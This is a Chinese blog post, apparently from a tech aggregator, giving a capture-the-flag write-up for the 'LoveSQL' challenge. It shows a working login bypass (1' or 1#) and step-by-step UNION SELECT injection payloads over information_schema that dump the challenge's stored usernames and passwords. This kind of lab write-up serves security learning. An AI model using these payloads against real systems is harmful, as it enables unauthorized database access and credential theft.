IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> [极客大挑战 2019]LoveSQL1 -> 正文阅读

[系统运维][极客大挑战 2019]LoveSQL1

前言,个人认为这是一道比较好的题目,很好的考察了我们sql注入的基本功,以及对基本题型的分析能力。

1.打开链接,我们看到这个,尝试使用语句1' or 1#看看是否可以登录

?2.确实可以登录。

我们尝试用这个用户名和密码登录,发现同样显示这个页面,发现密码有点异常,32位数字字母组合加密,应该是md5,但是不可逆解密,所以我们需要另换方法。

3.这个页面其实有点像sqli-labs上前面题目的模型,尝试找注入点,在前面用户名和后面密码上看看能不能动手脚

我在末尾加入了单引号,发现报错,再输入--+发现仍然报错,所以我们换%23(一个注释不管就多试几遍,一开始因为没换注释而在这里踩了好久的坑)?,发现可以正常回显了,因此我们需要的是闭合单引号然后在后面写新的sql语句

这边我试了一下加双引号会怎样(与题无关,为一个疑惑)

?直接报错,我一开始以为是双引号被当做密码来执行了,现在想想,好像只要被双引号包含的单引号或者被单引号包含的双引号,只要是包含在里面的东西,都会被当做参数值来执行,除非两个单引号或者两个双引号。//个人的神奇理解,反正是写给自己看的,你们不懂就算。

4.接下来,便可以注入了

order by......然后找回显点

然后select

?所以说,这里为什么要考验基本功了,附上这些语句

查库 
select schema_name from information_schema.schemata;
查表
select table_name from information_schema.tables where table_schema='数据库名';
查列
select column_name from information_schema.columns where table_name='表名';
 查数据
select 列名 from 库名.表名
//注意我所加的单引号和双引号!!不能缺少

单独的select database() 与select schema_name from information_schema.schemata效果一样
而当和group_concat用的时候,应该用后者,后者可以爆出所有数据,而前者只能爆出有限个。

所以我们在后面加上语句

'union select 1,2,group_concat(schema_name) from information_schema.schemata%23
//记得让前面的语句为假

爆出了库名

%27union%20select%201,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23
//提交的时候如果感觉没问题,却一直报错,不妨看看hackbar提交的数据之间有没有空格
//血的教训啊

好,我们又爆出了表名

?其实我们根据题意,大概知道了答案肯定在后者里面,继续爆列名

%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns where%20table_name=%27l0ve1ysq1%27%23

?好,继续爆表名

%27union%20select%201,2,group_concat(id,username,password)%20from%20geek.l0ve1ysq1%23
//再次补充血的教训,如果不group_concat的话很容易会有一些数据出不来......

好了,好像有点看不清楚,查看源代码,搞出flag

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-12-24 18:55:01  更:2021-12-24 18:56:01 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 5:50:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码